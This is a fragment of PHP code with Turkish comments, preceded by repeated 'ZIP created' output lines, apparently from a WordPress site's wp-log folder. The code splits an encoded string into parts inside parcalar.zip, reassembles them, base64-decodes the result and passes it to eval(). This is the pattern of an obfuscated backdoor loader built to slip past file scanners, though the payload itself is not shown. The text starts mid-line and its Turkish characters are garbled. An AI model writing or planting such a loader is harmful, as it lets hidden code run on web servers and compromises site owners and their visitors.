ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
open($zipDosyaAdi, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
$parcaUzunlugu = ceil(strlen($encryptedStr) / $parcaSayisi);
for ($i = 0; $i < $parcaSayisi; $i++) {
$parca = substr($encryptedStr, $i * $parcaUzunlugu, $parcaUzunlugu);
$zip->addFromString("part{$i}.txt", $parca);
}
$zip->close();
echo "ZIP olu?turuldu: $zipDosyaAdi
";
} else {
die("ZIP olu?turulamad?!");
}
// 2. ZIP i?inden par?alar? oku ve birle?tir
$decodedStr = '';
$zip = new ZipArchive();
if ($zip->open($zipDosyaAdi) === TRUE) {
for ($i = 0; $i < $parcaSayisi; $i++) {
$dosyaAdi = "part{$i}.txt";
$parca = $zip->getFromName($dosyaAdi);
if ($parca === false) {
die("Par?a okunamad?: $dosyaAdi");
}
$decodedStr .= $parca;
}
$zip->close();
} else {
die("ZIP okunamad?!");
}
// 3. Base64 ??z ve ?al??t?r
$decoded = base64_decode($decodedStr);
eval($decoded);
?>